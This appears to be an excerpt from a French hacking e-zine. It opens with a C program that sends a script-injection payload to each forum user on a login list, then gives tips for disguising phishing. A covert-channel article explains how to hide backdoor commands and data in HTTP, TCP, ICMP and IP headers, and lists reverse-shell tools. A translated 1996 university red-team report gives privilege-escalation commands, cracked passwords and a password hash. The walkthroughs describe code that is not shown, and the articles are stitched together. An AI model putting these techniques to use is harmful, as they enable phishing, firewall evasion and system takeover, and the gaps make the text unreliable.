La page doit être appelée de la façon suivante : -- brute_req.c -- #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> #define DICO_PATH "dico.txt" #define HOST "localhost" int main(int argc,char *argv[]) { FILE *in; char requete[1024]; int sock; struct sockaddr_in addr; struct hostent *hp; char mot[32]; char c; unsigned int i; if((hp=gethostbyname(HOST))==0) { printf("Impossible de trouver %s.\n",HOST); return -1; } bcopy((char*)hp->h_addr, (char*)&addr.sin_addr, hp->h_length); addr.sin_family=hp->h_addrtype; addr.sin_port=htons(80); if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1) { perror("Pb socket()"); return -1; } if((connect(sock,(struct sockaddr*)&addr,sizeof(addr)))!=-1) { printf("La connexion a ete etablie.\n"); if(!(in=fopen(DICO_PATH, "r"))) { perror("Ouverture dico.\n"); close(sock); return -1; } i=0; while(!feof(in)) { fread(&c,1,1,in); if(c=='\n') { mot[i]='\0'; i=0; sprintf(requete, "GET /forum/pv.php?login=%s" "&message=<script>alert('bl4h!')</script> HTTP/1.1\n" "Host: %s\n" "Connection: Keep-Alive\n\n", mot, HOST); send(sock, requete, strlen(requete), 0); } else { mot[i]=c; i++; } } fclose(in); sprintf(requete,"GET / HTTP/1.1\n" "Host: %s\n" "Connection: close\n\n", HOST); send(sock,requete,strlen(requete),0); } close(sock); return 0; } Les protections possibles contre le vol de session Evidemment il existe des moyens de bloquer le vol de session HTTP.
La plus répandu est de faire une vérification sur l'IP
du visiteur. Lorsque vous vous loggez le script garde en mémoire
votre IP : La nouvelle protection contre le vol de cookie vient de Microsoft et
s'appelle httpOnly. Le principe est d'empécher le navigateur
de la victime de donner le précieux cookie à la victime.
Pour déclarer un cookie comme étant httpOnly, le serveur
doit envoyer au navigateur la requête : Derniers conseils pour la route Avant de vous lancer dans le phishing sauvage n'oubliez pas la règle principale : bien étudier sa victime. Si le site que vous attaquez lance régulièrement des popups publicitaire, reprenez exactement le code de la popup pour que votre CGI ne fasse pas "tâche". Ensuite n'hésitez pas à encoder l'url de votre cgi en remplacant les caractères par leur représentation hexadécimale. sirius_black |
Frenchy Covert Channel |
Explication générale Le covert channel peut être traduit en français par flux de données camouflées.Un covert channel est une technique ayant pour but de faire passer au travers d'un firewall des données. Ces données doivent être présentent dans un paquet sans être visible par le firewall ou l'administrateur qui sniff son réseau. Pour cela on a recours à différentes techniques variables en fonction des protocoles choisis. Mais en général le choix s'oriente naturellement vers les headers des paquets car ceux-ci sont rarement filtrés par les firewalls. De plus les champs optionnels et/ou de grande taille sont préférés par les hackers car il s'agit là de pouvoir y placer un maximum d'information. Le covert channel et le tunneling sont deux techniques distinct contrairement à ce que peuvent penser certaines personnes. Le tunneling consiste à encapsuler un protocole dans un autre (au niveau du corps) tandis que les covert channel eux, fonctionne en... vous verrez bien après avoir lu cet article :). Introduction Le but premier de cet article est de vous présentez quelques méthodes de covert channel accompagnés de code en C fonctionnant sous linux.J'ai d'abord voulu intégrer l'échange de données sous la forme de routines permettant d'envoyer des commandes à une backdoor. Mais au fur et à mesure du développement j'ai intégré le code de façon à ce qu'il puisse transférer des données au sein des paquets. Les codes présents dans cet article sont des proof of concepts, comprenez qu'ils ne sont ni optimisés ni même sécurisés. C'est seulement des exemples (à ne pas suivre) pour expliquer d'une façon moins théorique les coverts channels. Exemple : Protocole HTTP Le protocole HTTP est un protocole de haut niveau qu'il est donc difficile de filtrer surtout qu'il est très utilisé et, de plus, il est souvent accompagné, au niveau des requêtes, d'informations annexes envoyées par des modules/plug-in. On peut dire qu'il s'agit là d'un protocole tout à fait adapté au covert channel: un header contenant des champs permettant de stocker beaucoup de données, la possibilité de stocker les données dans le corps de façon transparente. Ce protocole, du fait de ses spécificités, est assez difficile à filtrer.De plus comme il s'agit d'un protocole de haut niveau nous n'avons besoin que des sock_stream pour travailler avec donc il n'y a pas besoin des droits root. Vous trouverez plus d'informations sur ces spécifications dans les [RFC]. Tout d'abord abordons les différents modèles client/serveur : - Le modèle serveur httpd: il consiste en un programme "émulant" le fonctionnement d'un serveur httpd tout en récupérant les données cachées dans la requête (méthode utilisée dans le code source). - Le modèle serveur proxy: modèle consistant en un programme "émulant" le fonctionnement d'un proxy, le serveur attend l'arrivée de la requête, récupère les données cachées puis agit comme un proxy en renvoyant la requête vers le serveur httpd demandé. - Le modèle serveur CGI: cette technique nécessite de mettre en place un script CGI sur le httpd cible pour que le script agisse comme un CGI mais récupère les données camouflées via l'URI ou les autres variables d'environnement ou encore via le corps du message. Intéressons nous maintenant aux champs, qui pourrait nous intéresser, d'une requête HTTP de type GET : - La chaîne URI: Il est facile de cacher des données sous forme d'arguments via l'URI
Ici on voit bien que la variable view de l'URI peut contenir les données
cachées (ici c'est flagrant mais il est très facile de créer
un hash md5 et de faire croire qu'il s'agit d'un numéro de session
par exemple).- User-Agent: Dans ce champ on peut dissimuler ses données bien que ce soit moins évident que pour le champ précédent.
Ici on pourrait formatter la donnée pour quelle soit cachée
dans la version du système ou du navigateur: (Linux 2.4.12 Konqueror/1.2)
Gecko/12121212 par exemple.- Accept-Charset: Ce champ normalement utiliser pour définir les charset utilisés par le navigateur peut camoufler certaines valeurs.
- Les champs étendus du header (qui eux peuvent être filtrés
par les firewall) peuvent permettre d'inclure des données dans l'entête
de taille variable.
C'est la méthode utilisée par le code source mais n'est pas
la plus furtive.Pour (beaucoup ?) plus de détails sur les covert channel HTTP, lisez l'excellent texte de Simon Castro [CASTRO]. Attaquons la pratique : Du côté du client :
Dans client.h on retrouve tous les headers nécessaires à la
communication réseau et aux fonctions utilisées dans le code.Passons à client.c : lignes 4 à 9 on s'occupe de déclarer/initialiser les données. lignes 12 à 21 petite vérification de base des arguments passés au programme. lignes 23 à 26 on récupère l'ip en fonction du DNS passer. lignes 28 à 31 on s'occupe de créer le socket (un fichier où passeront toutes les données échangées). lignes 32 à 35 on remplit la structure sockaddr_in. lignes 37 à 40 on se connecte au serveur. lignes 42 à 45 on s'occupe d'ouvrir le fichier à transférer (le fichier doit être un fichier texte) en mode binaire et non pas texte (pour pouvoir convertir les caractères en leurs code ASCII). ligne 47 on créé une boucle pour envoyer un paquet pour chaque caractère (ceci peut être optimiser pour envoyer plus de données d'un coup). ligne 49 on met un sleep(1) pour éviter les pertes de données (sur internet sans le sleep les données s'enchaînent et il peut y avoir des pertes de données). ligne 50 on saute à CreateQuery() lignes 70 à 87 CreateQuery s'occupe de créé une requête contenant une erreur : 75 "Host %s\r\n" devrait être "Host: %s\r\n". lignes 52 à 55 on balance la requête. lignes 59 à 63 on attend la réponse du serveur pour être sûr que les données ont bien été reçus. lignes 65 à 68 on ferme tout :). Du côter du serveur :
En ce qui concerne server.h, c'est pareil que pour client.h.Dans server.c : lignes 4 à 11 on déclare/initialise les variables. lignes 13 à 20 petite vérification de base des arguments passés au serveur. lignes 22 à 25 on créé le socket. lignes 26 à 29 on remplit sockaddr_in. lignes 31 à 39 on initialise le serveur avec bind et listen. lignes 40 à 43 on ouvre le fichier où l'on va écrire. lignes 45 à 50 on attend la connection d'un client. ligne 51 tant que l'on reçois des données on lit le socket. ligne 53 on saute vers ParseResp(). lignes 104 à 113 ParseResp s'occupe de chercher les données cachées (à la fin du paquet): ligne 108 on se place 7 octets avant la fin du paquet et on récupère les 8 octets qui suivent. ligne 109 on convertis la string en integer (atoi). lignes 54 et 55 on écrit le résultat du parse dans le fichier. ligne 57 on créé une requête de réponse de type "400 Bad Request" au format http 1.1 lignes 58 à 60 on balance la requête au client. lignes 63 à 67 on nettoie tout ça et on quit. Comme je le disais ce code est assez sale (quoique j'ai déjà vu pire) et on pourrait y ajouter un grand nombre d'optimisations. Par exemple, l'utilisation de threads au niveau du serveur pour qu'il puisse recevoir plusieurs paquets à la fois (la communication irait beaucoup plus vite). Une technique cryptographique ou de formattage des données envoyées. Et d'autres encore. [RFC] : http://abcdrfc.free.fr/rfc-vf/rfc1945.html RFC HTTP 1.0 vf http://www.salemioche.com/http/http_rfc.php RFC HTTP 1.1 vo [CASTRO] : http://la-cave.homelinux.com/Networking%20-%20Secu%20-%20admin/Covert_paper_fr.txt Exemple: Protocole TCP Les covert channel dans le header TCP sont bien connus ; le header TCP contient plusieurs champs d'assez grande taille ou optionnels. Il s'agit d'un protocole assez complexe (au niveau de l'header) ce qui ne fait que nous arranger :).Pour manipuler des paquets TCP il faut utiliser les sock_raw et donc les droits root. Pour plus d'informations je vous invite à consulter la [RFC] TCP qui vous éclairera surement. Le header TCP est constituer de : Les champs qui peuvent nous intéresser sont : - Séquence: contenant le numéro de séquence capable d'identifier le paquet dans le flux - Le numéro d'ACK: contenant le numéro de séquence + 1 dans le cas où l'on utilise un serveur de rebond. Plus d'explications là-dessus plus loin. - Les flags: ce champ sert à spécifier le type de paquet TCP (SYN pour initialiser une connection, ACK pour confirmer la demande de connection...). On peut facilement utiliser les flags pour représenter une variable stockée en dur du côter serveur: on active les flags URG, PSH et FIN ce ki donne 101001 qui sera interpréter côter serveur comme une commande. En fin de paquet il existe des champs optionnels que l'on peut rajoutés : - Les options: Ce champ peut occuper une taille variable mais doit, à l'aide du bourrage, toujours être un multiple de 8. Il existe également un pseudo header qui permet à TCP d'éviter les erreurs de routage : Si vous n'avez pas le courage de lire en entier la RFC TCP (ce qui est compréhensible) allez faire un tour sur [FrameIp]. Le code source que je vais vous présenter utilise le champ Séquence pour cacher ses données et devrait normalement être capable d'utiliser un serveur de rebond puis de récupérer les données dans le champ Numéro d'ACK. Une petite explication s'impose, comme vous l'avez vu plus haut le champ Numéro d'ACK = le champ Séquence +1. Le champ Numéro d'ACK est utilisé seulement après une demande de connection (flag SYN), le fonctionnement du programme consiste à envoyer un SYN vers un serveur de rebond en falsifiant l'adresse source pour que le serveur de rebond renvoit le paquet vers le serveur de notre création qui va s'occuper d'extraire les données dans le champ Numéro d'ACK. Voyons cela dans la pratique : Ces codes sont tirés d'un article très intéressant sur les covert channel TCP et IP: [ROWLANDCOVER]. Je n'ai fait que séparer le côter client/serveur et le covert channel TCP et IP.
client.h: on retrouve les headers nécessaires au programme et le
prototype des fonctions de notre création.Dans client.c: lignes 28 à 91: on filtre les options passées au programme et on les stocks. ligne 92: on appel la fonction forgepacket() qui s'occupe de presque tout. lignes 97 à 110: on créé une structure contenant les header IP et TCP et on créé le pseudo header TCP. ligne 116: on initialise le générateur de nombres pseudo-aléatoire. lignes 118 à 122: on essaye d'ouvrir le fichier qui contient les données envoyées. ligne 123 à 179: on créé une boucle qui s'occupe de remplir l'header et de l'envoyer pour chaque caractère présent dans le fichier texte. ligne 125: on retrouve le sleep(1) qui s'occupe d'espacer le temps d'envoie pour éviter les pertes de données. ligne 141: on voit bien la copie du caractère (de son code ASCII exacement) dans le champ N° de Séquence. lignes 178 et 179: on ferme le fichier et la fonction principale. lignes 180 à 195: la fonction host_convert() sert à résoudre les ip passées au programme. lignes 196 à 225: la fonction servant à calculer le checksum (il s'agit d'une fonction passe-partout pour calculer les checksum des paquets UDP et TCP). lignes 226 à 246: cette fonction sert à afficher l'aide. Du côter du serveur:
Dans server.c:lignes 28 à 105: on filtre les données passées au programme. lignes 111 à 116: on créé une structure contenant les header IP et TCP et le corps. lignes 127 à 136: on mets en écoute le serveur. Ici le code est particulièrement sale étant donné qu'il n'y a aucune vérification avant le read(). Mais si vous voulez l'améliorer libre à vous :). [Note Pour les Newbies: on passe en argument à read() l'adresse de la structure contenant les formats des header, cette technique s'appelle un cast]. lignes 137 à 146: on récupère les données dans le champ N° de Séquence et on les écris dans un fichier. lignes 147 à 164: un commentaire explicant le fonctionnement de la technique utilisant le N° de ACK, l'auteur du code explique que comme certains bits sont perdus pendant la translation integer vers char malgré que le N° de ACK soit différent du N° de Séquence, la valeur au finale reste la même. lignes 165 à 170: on récupère les données dans ce fameux champ N° de ACK. lignes 173 à 191: on recommence (même chose que lignes 137 à 164) sauf que ce coup-ci le port source est défini par l'utilisateur et on le compare par rapport au port source contenu dans l'header TCP ligne 175. Pour la suite il s'agit des mêmes fonctions que pour le client qui font strictement la même chose. Bon comme ce code n'est pas de moi je vais éviter de trop cracher dessus :) mais comme vous le voyez l'auteur dit bien qu'il s'agit d'un proof of concept et qu'il peut être facilement améliorer. Déjà on pourrait mettre un système de gestion des erreurs, utiliser le multi-threads... [RFC] http://abcdrfc.free.fr/rfc-vf/rfc793.html [FrameIp] http://www.frameip.com/entetetcp/ [ROWLANDCOVER] http://ouah.kernsh.org/rowlandcover.htm Exemple: Protocole UDP Comme d'habitude si vous voulez plus d'informations sur le protocole UDP allez voir la [RFC] ou sur [FrameIp].Le header UDP ressemble à ça : On voit très vite que cet header ne présente que peu d'intérêt pour nous, tous les champs sont utiliser lors des communication il est donc impossible d'y inclure des données. Les paquets UDP tout comme TCP utilisent un pseudo header pour se protéger des erreurs de routage: Et là aussi on ne peut pas en tiré grand chose... Mais qu'à cela ne tienne il existe encore une partie des paquets UDP non utiliser, le corps. Bien sûr il ne faut pas balancer ses données comme ça dans le corps, ce serait bien trop visible. La technique la plus utilisée par les hackers est généralement de planquer les données dans les requêtes DNS. Ce protocole est extrêmement utiliser et je vous propose d'aller voir la [RFC] DNS pour mieux connaître ce protocole. Il existe dans le header des paquets DNS un champ appeler name qui ressemble à 217.224.247.80.in-addr.arpa. Les 4 premiers nombres sont une adresse ip, suivie généralement de .in-addr.arpa. Là ou l'on peut cacher des données c'est dans les 4 premiers nombres mais il ne faut pas que ceux-ci dépasse 255 ou soient négatif. Il faut donc formatter les données mais dans le cas où l'on envoie une commande à une backdoor, c'est largement suffisant. Pour le covert channel DNS je vous laisse trouver des utilitaires qui le font (allez voir à la fin de l'article). De plus au niveau de la programmation de DNS on utilise les sock_dgram qui ne nécessite pas les droits root. [RFC] http://abcdrfc.free.fr/rfc-vf/rfc768.html [RFC] http://abcdrfc.free.fr/rfc-vf/rfc1034.html [FrameIp] http://www.frameip.com/enteteudp/ Exemple: Protocole ICMP Le protocole ICMP est un protocole de choix en matière de covert channel ou même de tunneling.Pour utiliser le protocole ICMP on utilise les sock_raw et donc le programme nécessite les droits root. Vous avez l'habitude maintenant, pour plus d'informations sur le protocole ICMP allez voir la [RFC]. Le header ICMP est bien plus simple que les autres, même comparer aux deux header UDP. Le header ICMP ressemble à: Il n'y a que deux champs qui peuvent nous intéresser : - Identifiant: il peut être utilisé par l'émetteur du message d'écho afin d'associer facilement l'écho et sa réponse (tout comme le numéro de port destination pour TCP ou UDP). On lui attribue généralement le numéro de PID du processus. - Numéro de Séquence: Son utilité est la même que l'identifiant en complément de celui-ci. Il est généralement incrémenter de 1 à chaque message d'écho envoyer. Ces deux champs représentent 32 bits ce qui est pas mal dans un header. Si vous ne voulez pas vous tapez toute la RFC, allez donc sur [FrameIp]. Le code source utilise le champ N° de Séquence pour caché les données. En pratique cela donne : Ce code viens de moi mais est fortement inspiré du code précédent de Rowland.
Bon on va passer directement au contenu de client.c vous savez maintenant
à quoi sert client.hlignes 2 à 56: on filtre les arguments passés au programme. ligne 57: on appel forgepacket() qui s'occupe du plus important. ligne 71: on initialise le générateur de nombre pseudo-aléatoire à l'aide d'une graine pas assez variable (à améliorer). ligne 72: pour améliorer le code je calcul la taille réelle des header IP+ICMP pour la passer à sendto() ligne 113. La suite est quasiement pareil que pour TCP sauf: ligne 97: on mets le caractère dans le champ N° de Séquence. ligne 110: pour calculer le checksum d'un paquet ICMP il faut initialiser le champ à 0 (ce qui n'est pas obligatoire pour TCP). lignes 135 à 151: on utilise une autre fonction pour calculer le checksum. La façon de le calculer varie en fonction du protocole : UDP et TCP ont besoin de la fonction du code précédent, IGMP et ICMP ont besoin de cette routine. Du côter du serveur:
Bon on va passer directement au code qui nous intéresse, le reste
est trivial et déjà expliquer plus haut.Dans server.c: ligne 87 à 90: si on reçoit bien un echo request on récupère le contenu du champ N° de Séquence du paquet reçu et on le balance dans un fichier. Il y a peut-être moyen d'utiliser une méthode avec rebond, sachant que le N° de Séquence est incrémenté de 1 mais malheureusement cette spécificité n'est pas toujours respecter dans la pratique. Comme pour les autres codes il y a surement beaucoup d'améliorations possibles. [RFC] http://abcdrfc.free.fr/rfc-vf/rfc792.html [FrameIp] http://www.frameip.com/enteteicmp/ Exemple: Protocole IP Le protocole IP est une couche en-dessous de ICMP, UDP ou TCP dans le modèle OSI. Il s'agit d'un protocole principalement utiliser pour le routage des données. Ce protocole possède un header assez simple bien que contenant plus d'informations qu'ICMP. Pour plus d'informations sur IP allez lire la [RFC].Pour manipuler des paquets IP il faut utiliser les SOCK_RAW et donc il faut les droits root. Le header IP ressemble à ça: Le champs qui peuvent nous intéresser sont: - Le champ Identification: il est utiliser lorsque l'on fait de la fragmentation, tous les fragments d'un paquet ont le même identifiant. - Le champ TTL: acronyme de Time To Live ce champ permet de spécifier le nombre de routeur que le paquet peut passer avant d'être détruit (pour éviter les paquets "zombie"). Tout comme TCP, l'header IP possède un complément: - Les options: Ce champ doit, à l'aide du bourrage, occuper une taille de 4 octets. Si vous n'avez pas le courage de lire la RFC en entière, allez faire un tour sur [FrameIp]. Le code source que je vais vous présentez a été écrit par Rowland dans [ROWLANDCOVER]. Les données sont cachées dans le champ Identifiant. Passons à la pratique.
Alors tout comme le code précédent nous iront à l'essentiel
et voir ce qui est différent des codes précédents.Tout d'abord remarquez que l'on forge un header TCP dans IP pour que le paquet est vraiment l'air véridique. Comparer au code sur le covert channel TCP: ligne 131: contrairement à l'ancien code, Le champ Identification de l'header IP est rempli avec nos données. ligne 143: Le champ N° de Séquence de l'header TCP est bel et bien rempli avec un nombre aléatoire. Tout le reste du code est identique à celui sur les covert channel TCP. Côté serveur (ça se passe de commentaire).
[RFC]http://abcdrfc.free.fr/rfc-vf/rfc791.html [FrameIp] http://www.frameip.com/enteteip/ Outils Je vais vous parlez, dans cette section, des différents outils de covert channel que je connais, de leurs avantages et de leurs défauts, beaucoup des descriptions de ces outils sont tirées de l'excellent article [Covert Shell] par J. Christian Smith. Les outils seront présentés en fonction de leurs ancienneté (du plus ancien au plus contemporain).- Loki: Cet outil, présenté dans phrack 49 par Alhambra et daemon9, utilise le corps des messages ICMP echo request/reply pour mettre en place une communication bidirectionnelle. Normalement le corps de ces messages ICMP est utilisé pour la vérification de l'intégrité des paquets ou encore des informations de temps. Ceci concerne la première version de Loki. Il y a eut une deuxième version, présentée dans phrack 51, où l'idée fût prolongée pour être mise en place dans des paquets UDP camouflés sous forme de requête DNS. La possibilité de changer de protocole au-vol a également été implémenté. Une encryption blowfish et l'échange de clé symétrique/asymétrique fûrent également implémentés. - Daemonshell-UDP: Présenter par THC's van Hauser, cet outil utilise les corps des messages TCP et UDP. L'utilisation du corps de ces protocoles ne nécessitent pas les droits root, ce qui peut être un avantage. De plus, ce programme tente de se faire passer pour l'utilitaire vi. - ICMP backdoor: Réaliser par la team CodeZero, cet outil utilise le corps des messages ICMP echo reply. Cet outil, contrairement à Loki, n'est pas intéractif. Par contre, le fait que ce programme n'utilise pas le padding (remplissage) du paquet ICMP peut prêter à confusion et le faire passer pour un simple paquet IP inconnus vu sa taille réduite. - Rwwwshell: Une autre création de la team THC's van Hauser consistant en un covert channel dans le protocole HTTP avec une connection renversée, le client est placer sur la cible et se connecte au serveur. Ceci permet d'éviter beaucoup de filtres firewall/proxy. Le fonctionnement de cet utilitaire est simple. Tout d'abord le client, à interval régulier, se connecte au serveur (placer sur une autre machine sous le contrôle du hacker) puis le serveur répond en envoyant les commandes shell au client et enfin le client renvoie la sortie produite par la commande shell au serveur. Les données sont uuencodée pour passer inaperçues. Le problème de cet outil est qu'il appel un script cgi ce qui est très visible dans les logs du traffic HTTP. - B0CK: Réaliser par la team s0ftpr0ject, cet outil utilise les messages IGMP multicast pour caché ses données. La grande innovation de ce programme est qu'il utilise l'adresse IP source pour cacher les données : la table ASCII va au maximum jusqu'à 255 tout comme une adresse IPv4 ce qui nous permet de cacher au minimum 4 caractères dans une ip. Pour chaque envoie de donnée l'adress IP source change donc ce qui est tout à fait crédible. Mais l'IP spoofing est une technique qui fonctionne de moins en moins. - CCTT: Une réalisation de la team Gray-World. Cet utilitaire permet de faire du tunneling et du covert channel à haut niveau (SOCK_STREAM et SOCK_DGRAM). Il s'agit d'un utilitaire "touche à tout" capable de mettre en place des shell, reverse shell... Pour plus d'informations allez donc sur le site [CCTT] - MsnShell: Un outil très intéressant utilisant un protocole de très haut niveau, MSN. Créé par Wei Zheng, cet utilitaire s'occupe de mettre en place un shell, lorsqu'une personne s'y connectes, via un client MSN (MSN Messenger par exemple) et tapes des commandes Linux. Le principe est très intéressant sachant que souvent dans le réseau d'une entreprise, les connections de l'intérieur vers l'extérieur sont interdites sauf pour certains protocoles/ports. Allez donc voir sur la page de [MsnShell] pour plus d'informations. On peut aussi utilisé des outils forgeant des paquets comme Hping, Scapy, Rafale X etc... [CovertShell] http://ouah.kernsh.org/covert_shells.htm [CCTT] http://entreelibre.com/cctt/ [MsnShell] http://wei-zheng.3322.org/msnshell/ Conclusion Les covert channel sont connus par les hackers depuis un moment déjà
: le premier programme rendu publique utilisant un covert channel était
Loki sorti en 1996. Mais ces techniques datent de bien avant la sortie
de cet outil. Et pourtant, ce thème reste toujours d'actualité
et le restera surement pendant un bon moment, à l'inverse il évoluera
de plus en plus, sachant que de plus en plus de protocoles de très
haut niveau (au dessus de HTTP, IRC...) se développent. |
Toolz Armory --Lutz v0.4b-- |
URL : http://sourceforge.net/projects/lutz/ Author : Christian Eichelmann (Killswitch) |
Sécurité Réseau Avancée |
Note pour la traduction : C'est vrai que ce document
date de 8 ans ^_^ mais le principe de cette simulation de piratage
est intéressant. De plus ce rapport nous montre l'état
de la sécurité informatique à l'époque
(quasi inexistante) et donc on se rend mieux compte de l'évolution
qui a été faite depuis dans ce domaine.
sirius@lotfree:~>
fortune limerick Bonne lecture ;) Compte Rendu Final Sécurité Réseau Avancée CPSC689 - Été 96 Instructeur : Dr. Udo. W. Pooch Rédigé par L'équipe Black2 Ajay Kumar Gummmadi Eric Daniel Faisal Karim Ikram Ahmed Khan Ralph Akram Gholmieh Raul Gonzalez Barron Rehan Ayyub Sheikh A. Sommaire B. Résumé C. Introduction D. Techniques de Hacking 'Sécurité Réseau Avancée' est un thème de cours spécial dispensé au département Sciences Informatiques de l'Université A&M du Texas. Le cours dont la référence est CPSC - 689 est généralement donné durant le semestre d'été. Le cours a une orientation pratique. La classe a été divisée de telle façon qu'il y ait une équipe Gold (les gentils) alias les Administrateurs Système et quatre équipes Black (les méchants) alias les hackers. Chaque équipe était composée de 6 à 7 membres. Il y avait aussi un comité consultatif ainsi que des arbitres. Le comité consultatif se composait des actuels administrateurs système du département des Sciences Informatiques. Les arbitres étaient le Dr. Udo W. Pooch et M. Willis Marti. Les équipes ont pu s'affronter sur un réseau qui se composait de deux machines gold (gold 1 était le serveur et nous devions pirater gold 2) ainsi que quatre machines black (chacune appartenant à une équipe black). Un routeur Cisco reliait les machines gold aux machines black. Ce réseau était surveillé par le département des Sciences Informatiques par le biais d'une machine nommée Kennel. Chaque équipe devait d'abord se connecter à Kennel et ensuite à sa machine respective ou à n'importe quelle machine à laquelle elle avait accès. Tous les utilisateurs disposaient d'un compte sur la machine Gold2. Tous les Jeudi, chaque équipe rencontrait le comité consultatif pendant 20 minutes pour faire un rapport de ses derniers hacks. Nous sommes convaincu que ce cours devrait continuer à être enseigné par le département des Sciences Informatiques. Ce fut une expérience d'apprentissage très intéressante pour chacun de nous à l'équipe black2. Ce compte rendu rapporte toutes les informations obtenues durant nos exercices de 'Hacking' en tant qu'équipe 'Black 2', une des quatre équipe black. Ce rapport inclus les techniques de hacking que nous avons appris, les attaques durant lesquelles nous les avons utilisées, ainsi que des suggestions pour les futures versions de ce cours. Lors du déroulement de ce cours, nous avons trouvé sur Internet différents sites d'intérêt pour le cours, leur URLs se trouvent dans la section référence de ce document. Nous nous sommes inscrit aux listes de diffusions suivantes : Best of Security, Bugtraq, Firewalls, et ssh. Elles se sont révélées être d'excellentes sources d'information. Lire ces listes de diffusion, plus que n'importe quoi d'autre, nous a fait découvrir les aspects techniques des problèmes de sécurité. L'équipe Black 2 a travaillé comme une unité. Nous avons pu faire un usage efficace de nos efforts en organisant des réunions régulières tous les trois à quatre jours, où nous discutions des stratégies utilisées, et où nous décidions des nouvelles stratégies à mettre en pratique ou à tester. La charge de travail fut gérée et répartie en conséquence. L'Administration Système est une rude besogne mais en même temps on peut apprécier cela, jouer et apprendre quelles sont les particularités du système. La majorité des membres avait peu de connaissances antérieures sur le sujet, et donc, il nous a fallut beaucoup de temps et d'effort pour explorer le système. Tout dans ce cours a été une excellente base d'apprentissage pour les futurs Administrateurs Système qui ont pu avoir un aperçu de ce que peuvent faire les méchants pour pénétrer dans un système. Le côté pratique de ce cours apporte beaucoup d'enthousiasme et nous incite à pratiquer et apprendre d'avantage. Nous espérons que le lecteur appréciera ce compte rendu. Cette section décrit les techniques et les outils auxquels nous avons eu recours pour nos attaques de hacking. C'est une description purement technique des techniques d'attaques que nous avons utilisées. Les résultats tout comme les descriptions de ces techniques peut être trouvées dans la section E. Notre équipe s'introduisit dans la machine black3 au cours de la seconde journée. On les avait entendu dire que « tout était chimique » et nous avons deviné que cela avait rapport aux mots de passe. Cette supposition fut vérifiée en testant des noms d'acides ou d'éléments chimiques. Le mot de passe du compte saa2397 se révéla être « xenon ». Plus tard, en réutilisant la même technique, le compte 'btrn2654' révéla avoir le mot de passe « nitrogen ». shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
A la fin des quelques premiers jours, l'équipe gold n'avait toujours pas installé un bon système de surveillance. Malheureusement, nos connaissances en hacking étaient encore très réduites et la plupart des nombreux hacks faciles disponibles sur le net avaient été patché depuis longtemps sur le système Solaris. Nous recherchions sur Internet des petits hacks que nous avons ensuite essayé. En parallèle nous scannions le système à l'aide de COPS (se référer à la section F). Les résultats de ces hacks étaient décevants, mais cela nous a remis sur le droit chemin dans notre quête de « l'accès root ». L'un des documents les plus intéressant était « Improving the Security of Your Site by Breaking Into It », écrit par Dan Farmer et Wietse Venema, les programmeurs de Satan. La première méthode qu'ils décrivaient aurait pu être suffisante pour pirater le système : « evil% showmount -e victim.com ». La faille mount avait déjà été découverte par edaniel, un membre de notre équipe (référez vous à la section D.3). Gold2 fut ensuite scannné à la recherche de failles ftp. Celles ci incluaient : le répertoire home de ftp en écriture pour tout le monde, ce qui faisait qu'un fichier « .forward » contenant « |/bin/command » pouvait être exécuté si l'utilisateur ftp recevait un mail ; l'écriture dans le répertoire bin de ftp pour ajouter des commandes à celles qui pouvaient être exécutées par les utilisateurs de ftp. Le vieux bug ftp est représentatif des hacks simples que nous avons essayé : % ftp -n Le service sendmail sur le port 25 a ensuite été scanné sans plus de succès. Les vieux bugs Sendmail sont simples à trouver sur Internet. Des conditions de concurrence (race condition) ont ensuite été testées sur le système. Le principe est d'essayer de lancer deux programmes en concurrence sur un même objet, dans l'espoir que l'interférence entre les deux programmes produira l'effet désiré. Prenons pour exemple la commande mkdir : elle crée d'abord le répertoire, puis ensuite fixe l'utilisateur qui a appelé la commande comme étant le propriétaire du répertoire. Si le répertoire ainsi crée peut être remplacé par un lien vers /etc/passwd avant que le propriétaire ne soit fixé, alors, nous nous retrouverons propriétaire de /etc/passwd. Le petit script suivant tente d'exploiter ce type de faille particulière (notez que cela n'a pas fonctionné sur la machine gold2 qui fonctionne sous Solaris) : #!/bin/csh Plusieurs autres « Race Conditions » furent testées, l'exploit « password race » fut l'un d'eux (le fichier passwdrace.c se trouve dans notre répertoire /pub/689ans/black2). Le résultat fut aussi négatif. Un « showmount -e black1 » nous informais que le répertoire /export/home de black1 était exporté avec les permissions pour tout le monde. Ce fut facile de monter black1:/export/home à partir de black5, puis de faire un su à l'id approprié afin de lire/écrire n'importe quel fichier qui n'appartenait pas à root. Plus des informations plus détaillées, regardez la section Résultats pour notre exploitation de cette erreur de configuration. Les annonces du CERT concernant Solaris ont été lu afin d'exploiter les failles de gold2. D'après l'annonce CA-96.10 du CERT, il peut arriver que des utilisateurs aient la permission de modifier leurs propres entrées dans passwd.org_dir, de cette manière ils sont capables de fixer leur propre uid à zéro. Cela est possible lorsque NIS+ est installé par défaut. En lançant la commande « niscat -o passwd.org_dir » sur gold2, nous obtenons : Object Name : passwd
Remarquez que l'utilisateur a la possibilité de modifier son propre uid, la suite est du gâteau : gold2%nistbladm -m uid=0
'[name=edaniel]',passwd.org_dir Les détails complémentaires sur l'exploitation de cette ouverture béante se trouvent dans la section E. Nous avons lancé Crack version 4.1 sur le fichier password de gold2. Le programme est parvenu à casser le mot de passe de l'utilisateur « Karthik », qui était « major3 ». Le dictionnaire utilisé était tout simplement celui fournit avec le programme. Un ftp rapide sur le compte de Karthil nous a permit de confirmer que le mot de passe était correct. Malheureusement, ce mot de passe était trop faible. Il a été cassé par plusieurs autres groupes. L'activité inhabituelle qui transitait par l'intermédiaire de ce compte mena l'équipe gold à bloquer deux de nos utilisateurs (raoulg et ralphg). Plus tard, deux listes de mots furent ajoutées au dictionnaire, il y avait : hindu-names (plusieurs des utilisateurs sont indiens) et usenet-names. Nous avons aussi essayé des dictionnaires Espagnol et Chinois. La pèche n'a malheureusement pas été bonne. C'est amusant de remarquer que tout au long du jeu, la liste des mots de passe cryptés était disponible par NIS (juste en tapant : niscat passwd.org_dir). On s'est demandé quelle était l'utilité de masquer (shadowing) le fichier /etc/passwd. Voici le fichier de mots de passe sur lequel nous avons lançé Crack : arsc:DXMQYbH2KzYp6:1000:10:/home/larsc:/bin/csh:9666
